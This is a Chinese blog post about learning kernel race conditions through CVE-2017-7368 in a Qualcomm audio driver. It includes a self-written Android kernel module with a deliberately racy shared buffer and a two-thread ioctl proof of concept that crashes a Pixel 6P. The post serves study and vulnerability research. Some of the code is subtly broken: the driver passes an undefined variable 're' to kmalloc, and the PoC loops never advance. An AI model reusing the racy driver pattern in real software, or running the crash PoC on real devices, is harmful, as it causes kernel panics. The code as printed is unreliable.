条件竞争学习之CVE-2017-7368复现

条件竞争漏洞基础

在 mitre 中有不少有关条件竞争类型的编号,比如 CWE-362、CWE-364、CWE-366、CWE-367 等。在mitre 中属于一个比较大的板块,并且不少的内核有关的高危漏洞,也有条件竞争漏洞类型,比如 DirtyCow,当然也有一些条件竞争漏洞介绍的是 web 方面的问题,这里介绍的是内核。

在CTF wiki: https://ctf-wiki.org/pwn/linux/user-mode/race-condition/introduction/

条件竞争称为Race Condition,是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步的措施,导致竞争条件的发生并且条件竞争竞争在内核也竞争出现。

在我的理解中,存在条件竞争漏洞的代码段在正常的审计来看,其实在执行的时候,并不会出现问题,但是如果代码段中存在共享对象时,可能是一些全局变量,文件等,就有可能在代码段运行时候,同时起一个进程或线程来修改共享对象,就可能修改代码的正常执行逻辑,从而产生一些问题。

以前在学习多线程的时候,写多线程的代码,碰到循环的时候经常产生执行的代码顺序不会根据自己设定的流程来执行,CTF wiki 例子中就是如此,有很直观的感觉,也就是说代码在很短的时间窗口中,是可以被破坏和修改的。

根据CTF wiki内条件竞争应该具备以下的条件:

  • 并发,至少存在两个并发执行流,这里的执行流包括线程、进程、任务等级别的执行流。
  • 共享对象,至少有一个共享资源被多个并发执行的线程或进程访问或修改。这个共享资源可以是内存中的全局变量、文件、网络连接等。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
  • 改变对象,也就是修改。即至少有一个控制流会改变竞争对象的状态,因为如果程序只是对对象进行读操作,那么并不回产生条件竞争。

在漏洞挖掘的时候,要发现条件竞争漏洞通常并不是很简单,因为代码本身的执行流程不会出现问题,因为一般来说,在执行代码的时候,并发的情况并不多,而且存在能修改共享对象的情况也并不常见。

这里在看雪的一个帖子中,看到有人描述了对驱动条件竞争漏洞挖掘的思路方式,说的也比较言简意赅:

  • 首先起一个线程,调用某一个系统调用
  • 起另一个线程,密集的对那个调用送入的参数随意更改,控制好这两个线程的时间序,尽量保证一个线程系统调用后,另一个系统密集修改里面的数据。
  • 等崩溃。

https://bbs.kanxue.com/thread-214551.htm

https://cloud.tencent.com/developer/article/1516412

https://h0pe-ay.github.io/KernelPwn-RaceCondition/

https://xuanxuanblingbling.github.io/ctf/pwn/2019/11/18/race/

CVE-2017-7368 漏洞分析

分析参考: https://paper.seebug.org/364/

为了更好的理解条件竞争,看到有一篇有关高通声卡驱动CVE-2017-7368 的分析blog, 正好也在分析高通驱动,所以拿出来做一个比较好的学习内容和案例。

由于年代久远,这里找到了有关的代码。
https://android.googlesource.com/kernel/msm/+/android-msm-hammerhead-3.4-kk-r1/sound/soc/msm/qdsp6v2/msm-lsm-client.c

其中的漏洞详情分析如下:

  • 在驱动的ioctl cmd参数SNDRV_LSM_REG_SND_MODEL 中,会使用copy_from_user函数将用户空间传入的数据分配给结构体snd_model。
  • 然后 q6lsm_snd_model_buf_alloc 会给prtd->lsm_client 指针变量分配snd_model.data_size 大小的内存空间,注意这个 snd_model 的数据是用户空间传入的,另外 prtd 这个结构体是全局的,并且结构体内的lsm_client 结构体指针是可以被修改的。
  • 最后copy_from_user(prtd->lsm_client->sound_model.data,snd_model.data, snd_model.data_size) 这个函数会将传入的数据根据data_size 的大小复制到 prtd 中。
  • 正常来说,目标缓冲区的大小由传入数据大小来分配,是不会出现越界,溢出的问题。但是由于prtd->lsm_client是一个全局变量,如果多线程来调用case SNDRV_LSM_REG_SND_MODEL,那么在一个短时间内可能修改prtd->lsm_client 的大小。而传入的数据还是另一个线程的snd_model.data,进而产生越界的问题。

漏洞复现

由于没有完备的环境来复现触发这个漏洞,但为了能够复现这个漏洞,因此我就自己写了一个类似的驱动程序。

驱动代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/ioctl.h>
#include <linux/cdev.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/device.h>
#include <linux/uaccess.h>
#include <linux/delay.h>

#define IOC_MAGIC 'a'

#define IOC_CMD0 _IO(IOC_MAGIC, 0)
#define IOC_CMD1 _IOR(IOC_MAGIC, 1, int)
#define IOC_CMD2 _IOW(IOC_MAGIC, 2, struct snd_lsm_sound_model)

struct snd_lsm_sound_model{

char *data;
int data_size;
int count;
};

//创建一个字符设备
struct char_dev
{
struct cdev c_dev;
dev_t dev_no;
char buf[1024];
};

static char *write_temp;
char *arg_w1; // 全局变量

static int my_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "%s ttt_cdev open! -----------------\n",__func__);
return 0;
}

static int my_close(struct inode *ind, struct file *fp)
{
printk("demo release\n");
return 0;
}

ssize_t my_write(struct file *file,const char __user *buf,size_t len,loff_t *pos)
{
size_t length;
printk(KERN_INFO "%s :demo write ",__func__);

if(len>64)
len = 64;
length = strlen(buf)+1;

write_temp = kmalloc(length,GFP_KERNEL);

if(copy_from_user(write_temp,buf,length))
return -EFAULT;
printk(KERN_INFO "%s : my cdev write:%s \n",__func__,write_temp);

return 0;
}

ssize_t my_read(struct file *file,char __user *buf,size_t len,loff_t *pos)
{
printk(KERN_INFO "%s demo read data -----------\n",__func__);
return 0;
}
static long my_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
int rc = 0;
const int arg_r = 9999;

void __user *user_ptr = (void __user *)arg;
size_t length;

char *str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
struct snd_lsm_sound_model snd_model;

printk(KERN_INFO "IOCTL cmd: %d \n",cmd);
switch(cmd){
case IOC_CMD0:
printk(KERN_INFO "IOC_CMD0: no argument.\n");
rc = 0;
break;
case IOC_CMD1:
printk(KERN_INFO "IOC_CMD1 : ioc read argument : %d \n",arg_r);
arg = arg_r;
rc =1;
break;
case IOC_CMD2:
printk("\n");
printk("------------start-------------------");
if(copy_from_user(&snd_model, user_ptr, sizeof(struct snd_lsm_sound_model))){
printk(KERN_INFO "IOC_CMD2: copy from user failed \n");
return -EFAULT;
}
printk(KERN_INFO "IOC_CMD2: snd_model %d size %d and the str_len: %d\n",snd_model.count,snd_model.data_size,strlen(str));

length = snd_model.data_size+1;

arg_w1 = kmalloc(re,GFP_KERNEL);

if(length-1 != snd_model.data_size){
printk(KERN_INFO "IOC_cmd___2 error data : %d",snd_model.data_size);
break;
}
memcpy(arg_w1, str, snd_model.data_size);

printk(KERN_INFO "IOC_cmd2 get arg_w1 : %s",arg_w1);

kfree(arg_w1);
printk("------------end-------------------\n");
rc =2;
break;
default:
printk("my ioctl error!\n");
return -EFAULT;
}
return rc;
}

static struct file_operations my_fops={
.open = my_open,
.read = my_read,
.write = my_write,
.unlocked_ioctl = my_ioctl,
.release = my_close,
};

struct char_dev *my_dev;
struct class *cls;
struct device *my_device;

static int __init hello_world_init(void) {

int ret;
printk(KERN_INFO "Helloworld!\n");

my_dev = kmalloc(sizeof(*my_dev),GFP_KERNEL);
if(!my_dev)
{
ret = -ENOMEM;
goto malloc_dev_fair;
}
ret = alloc_chrdev_region(&my_dev->dev_no,0,1,"tttt_dev");
if(ret < 0)
{
goto alloc_chrdev_fair;
}
cdev_init(&my_dev->c_dev,&my_fops);
ret = cdev_add(&my_dev->c_dev,my_dev->dev_no,1);

cls = class_create(THIS_MODULE, "myclass");
if(IS_ERR(cls))
{
unregister_chrdev_region(my_dev->dev_no,1);
return -EBUSY;
}

my_device = device_create(cls,NULL,my_dev->dev_no,NULL,"tttt_dev");
if(IS_ERR(my_device))
{
class_destroy(cls);
unregister_chrdev_region(my_dev->dev_no,1);
return -EBUSY;
}
return 0;

malloc_dev_fair:
return ret;
alloc_chrdev_fair:
return ret;
}

static void __exit hello_world_exit(void) {
//删除设备
//cdev_del(&my_dev->c_dev);
device_destroy(cls, my_dev->dev_no);
class_destroy(cls);
//注销驱动——>后面写1表示从dev_on开始连续一个
unregister_chrdev_region(my_dev->dev_no,1);
kfree(my_dev);
printk(KERN_ALERT "Goodbye, World!\n");
}

module_init(hello_world_init);
module_exit(hello_world_exit);

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Your Name");
MODULE_DESCRIPTION("Hello, World! Driver");
MODULE_VERSION("1.0");

使用android 内核编译环境编译成驱动模块(详细步骤见 https://tig3rhu.github.io/2024/03/28/25__Pixel6P_Android%E9%A9%B1%E5%8A%A8%E6%A8%A1%E5%9D%97%E7%BC%96%E8%AF%91/),上传到手机中,然后进行加载。这里要注意的是,android的编译链跟Linux 编译的make 是不一样的,至少对代码的质量要高一些,比如未使用的变量,定义的局部变量不允许放在代码中间、以及不允许变量声明和代码混合等规则,在标准的C语言中是不允许的,但Linux 使用的是C99 标准拓展支持这些问题。
比如此类问题:

1
2
3
error: mixing declarations and code is a C99 extension [-Werror,-Wdeclaration-after-statement] int rc = 0;
变量声明需要在开头: error: mixing declarations and code is a C99 extension [-Werror,-Wdeclaration-after-statement] int ret;
声明和代码不能混合: error: mixing declarations and code is a C99 extension [-Werror,-Wdeclaration-after-statement] size_t length = snd_model.data_size+1;

然后将编译出来的驱动加载到pixel 6P 内。
如果编译出来的驱动加载到手机中,手机死机的情况就是驱动的问题,那么就要排查一些代码。

然后开始写POC 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/ioctl.h>
#include <linux/string.h>
#include <pthread.h>

#define IOC_MAGIC 'a'

#define IOC_CMD0 _IO(IOC_MAGIC,0)
#define IOC_CMD1 _IOR(IOC_MAGIC,1,int)
#define IOC_CMD2 _IOW(IOC_MAGIC, 2, struct snd_lsm_sound_model)

struct snd_lsm_sound_model{
char *data;
int data_size;
int count;
};

struct snd_lsm_sound_model snd_model_1;
struct snd_lsm_sound_model snd_model_2;

static void* threadA(void *arg){
int fd = *(int *)arg;
int i=0;
printf("threadA start");

while(i<10){
printf("thread = 1 \n");

ioctl(fd, IOC_CMD2, &snd_model_1);

}
printf("threadA deid\n");
}

static void* threadB(void *arg){
int fd = *(int *)arg;
int i=0;
printf("thread = 2 \n");

printf("threadB start");

while(i<10){
printf("thread = 222 \n");

ioctl(fd, IOC_CMD2, &snd_model_2);

}
printf("threadB died\n");
}

int main(int argc, char *argv[])
{
int cmd;
int rc;

char *temp;
int arg_r;
int fd = open("/dev/tttt_dev", O_RDWR);
if (fd < 0){
printf("open file failed !\n");
return 0;
}

read(fd,temp,sizeof(temp));

rc = ioctl(fd,IOC_CMD0);
printf("rc = %d \n",rc);

rc = ioctl(fd,IOC_CMD1,arg_r);
printf("rc = %d arg_r : %d \n",rc, arg_r);

snd_model_1.data = "11111";
snd_model_1.data_size = 10;
snd_model_1.count = 11;

snd_model_2.data = "2222";
snd_model_2.data_size = 500;
snd_model_2.count = 22;

pthread_t thread1,thread2;

pthread_create(&thread1,NULL,threadA, &fd);
pthread_create(&thread2,NULL,threadB, &fd);

pthread_join(thread1, NULL);
pthread_join(thread2, NULL);

close(fd);
return 0;
}

编译poc,编译链用谷歌官方的编译链,从这里下载 https://developer.android.google.cn/ndk/downloads?hl=en, 然后确定手机系统使用的是那个Android API,可以在手机内执行 getprop ro.build.version.sdk查看。

1
2
root@4cd0e87f2387:~/aosp/test_ndk_driver/android-ndk-r26c/toolchains/llvm/prebuilt/linux-x86_64/bin# ./aarch64-linux-android33-clang /root/aosp/
test_ndk_driver/android_helloworld22_poc.c -o /root/aosp/test_ndk_driver/android_helloworld22_poc

之后执行文件,就可以触发条件竞争漏洞了,pixel 6P 会触发内核问题,系统会进入到panic状态,进而系统自动重启。


条件竞争学习之CVE-2017-7368复现
https://tig3rhu.github.io/2024/05/05/56__条件竞争学习之CVE-2017-7368复现/
Author
Tig3rHu
Posted on
May 5, 2024
Licensed under